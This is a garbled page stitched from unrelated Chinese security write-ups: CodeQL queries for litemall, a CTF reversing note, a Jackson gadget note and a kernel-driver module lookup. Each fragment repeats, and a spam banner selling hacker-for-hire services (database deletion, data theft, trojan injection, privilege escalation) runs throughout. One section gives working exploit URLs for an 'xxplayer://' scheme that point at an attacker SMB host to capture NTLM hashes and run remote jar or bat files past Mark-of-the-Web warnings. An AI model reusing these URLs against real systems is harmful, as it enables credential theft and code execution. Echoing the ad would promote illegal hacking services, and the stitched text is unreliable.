参数类型为指定的数据结构
通过对上一步查询结果的观察,发现存在非绑定类型的参数,如:String 类型。
因此我们需要进一步筛选出符合自动绑定类型的参数。
通过阅读源码,发现该项目相关的绑定参数定义在 org.linlinjava.litemall.db.domain包下,且都符合LitemallXXX的命名格式,因此定义如下一个谓词进行过滤:
1from Parameter bodyParameter
2where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
3daoClass(bodyParameter.getType())
4select bodyParameter, "has a annotation"
predicate daoClass(Class c) {
c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
c.getName().matches("Litemall%")
}
对应的where 语句更新为:
1predicate daoClass(Class c) {
2 c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
3 c.getName().matches("Litemall%")
4}
from Parameter bodyParameter
where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
daoClass(bodyParameter.getType())
select bodyParameter, "has a annotation"
为了方便,将上面的代码进行整合,重新定义一个 BodyParameter 类,用来获取所有满足前两个步骤的请求参数:
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
通过对上一步查询结果的观察,发现存在非绑定类型的参数,如:String 类型。
因此我们需要进一步筛选出符合自动绑定类型的参数。
通过阅读源码,发现该项目相关的绑定参数定义在 org.linlinjava.litemall.db.domain包下,且都符合LitemallXXX的命名格式,因此定义如下一个谓词进行过滤:
1from Parameter bodyParameter
2where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
3daoClass(bodyParameter.getType())
4select bodyParameter, "has a annotation"
predicate daoClass(Class c) {
c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
c.getName().matches("Litemall%")
}
对应的where 语句更新为:
1predicate daoClass(Class c) {
2 c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
3 c.getName().matches("Litemall%")
4}
from Parameter bodyParameter
where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
daoClass(bodyParameter.getType())
select bodyParameter, "has a annotation"
为了方便,将上面的代码进行整合,重新定义一个 BodyParameter 类,用来获取所有满足前两个步骤的请求参数:
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
该指令格式在CTF和攻防对抗中经常出现,可以提高执行效率的同时也可以增加逆向的难度。
对于此类指令和题目,我们分析的方法是:遇到查意思,查的多了就跟看正常代码一样,采用动态分析。
机器码修改
将内置的机器码改为题目给的:1653643685031597
修改成功:得到flag的时候跟machine这个有很大关系。
machine_id处理,在这个加密函数中,发现了MD5特征
经过动调拿到函数加密后的结果,与我们的猜测是相符的
可以发现最终md5(机器码)变成,user_id处理和调试machine加密一样,最终MD5(user_id)变成这个数字:1228240365737281
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
对于此类指令和题目,我们分析的方法是:遇到查意思,查的多了就跟看正常代码一样,采用动态分析。
机器码修改
将内置的机器码改为题目给的:1653643685031597
修改成功:得到flag的时候跟machine这个有很大关系。
machine_id处理,在这个加密函数中,发现了MD5特征
经过动调拿到函数加密后的结果,与我们的猜测是相符的
可以发现最终md5(机器码)变成,user_id处理和调试machine加密一样,最终MD5(user_id)变成这个数字:1228240365737281
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
当我们双击这个快捷方式时,就会调用浏览器打开http://www.baidu.com。
接着我们发现只要url参数值为xxx://xxx.xxx/的格式即可,那么我们尝试将url参数值修改为file://172.16.176.176/netntlm,也就变成这样:xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&name=123,在机器上responder监听一下,当打开快捷方式时收到了 NTLM Hash:
除了获取 NTLM Hash,我们还可以在 Ubuntu 上开一个 SMB 服务,然后将url参数设为使用\\172.16.176.176\share\Test.exe,使用快捷方式打开共享文件,发现确实可以打开 EXE 文件,但是会有文件信任的安全警告(Mark-of-the-Web)。
这里可以通过jar文件形式去绕过,打包一个打开计算器的 Jar 包放在共享目录下,然后将url参数设为使用\\172.16.176.176\share\1.jar。
访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&name=123,创建快捷方式,打开快捷方式,执行 Jar 包启动计算器,这样我们就实现了 1 Click 执行任意命令。
使用远程 Jar 包的方式来达到任意命令执行还是有局限性,如果目标机器不存在 Java 环境就无法执行,因此在对文件信任机制的研究发现在smb共享文件中打开zip压缩包内的bat文件,不会有任何弹窗提示直接执行bat文件内容。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
接着我们发现只要url参数值为xxx://xxx.xxx/的格式即可,那么我们尝试将url参数值修改为file://172.16.176.176/netntlm,也就变成这样:xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&name=123,在机器上responder监听一下,当打开快捷方式时收到了 NTLM Hash:
除了获取 NTLM Hash,我们还可以在 Ubuntu 上开一个 SMB 服务,然后将url参数设为使用\\172.16.176.176\share\Test.exe,使用快捷方式打开共享文件,发现确实可以打开 EXE 文件,但是会有文件信任的安全警告(Mark-of-the-Web)。
这里可以通过jar文件形式去绕过,打包一个打开计算器的 Jar 包放在共享目录下,然后将url参数设为使用\\172.16.176.176\share\1.jar。
访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&name=123,创建快捷方式,打开快捷方式,执行 Jar 包启动计算器,这样我们就实现了 1 Click 执行任意命令。
使用远程 Jar 包的方式来达到任意命令执行还是有局限性,如果目标机器不存在 Java 环境就无法执行,因此在对文件信任机制的研究发现在smb共享文件中打开zip压缩包内的bat文件,不会有任何弹窗提示直接执行bat文件内容。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
最开始看到该链子发现本质就是EventListener去可以触发POJONODE#Tostring触发getter,在删除中间AOP包装后测试发现未能成功触发getterD
原因如下:在POJONODE#ToString底层本质上就在进行Jackson序列化该对象,在其序列化的时候会获取所有用于序列化属性字段的getter调用,在设置这些getter方法访问权限的时候触发了JDK模块机制
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
原因如下:在POJONODE#ToString底层本质上就在进行Jackson序列化该对象,在其序列化的时候会获取所有用于序列化属性字段的getter调用,在设置这些getter方法访问权限的时候触发了JDK模块机制
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
实现取进程中模块基址,该功能在《驱动开发:内核取应用层模块基地址》中详细介绍过原理,这段代码核心原理如下所示,此处最需要注意的是如果是32位进程则我们需要得到PPEB32 Peb32结构体,该结构体通常可以直接使用PsGetProcessWow64Process()这个内核函数获取到,而如果是64位进程则需要将寻找PEB的函数替换为PsGetProcessPeb(),其他的枚举细节与上一篇文章中的方法一致
代码是DriverEntry入口处的调用方法,首先要想得到特定进程的特定模块地址则第一步就是需要PsLookupProcessByProcessId找到模块的EProcess结构,接着通过PsGetProcessWow64Process得到当前被操作进程是32位还是64位,通过调用KeStackAttachProcess附加到进程内存中,然后调用GetUserModuleBaseAddress并传入需要获取模块的名字得到数据后返回给NtdllAddress变量,最后调用KeUnstackDetachProcess取消附加即可
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
替换DriverEntry入口函数处的ProcessID并替换为当前需要获取的应用层进程PID,运行驱动程序即可得到该进程内Ntdll.dll的模块基址
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
调用此方法,首先将ProcessID设置为需要读取的进程PID,然后将上图中所输出的0x00007FF9553C0000赋值给BaseAddress接着调用GetModuleExportAddress()并传入BaseAddress模块基址,需要读取的LdrLoadDll函数名,以及当前进程的EProcess结构
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang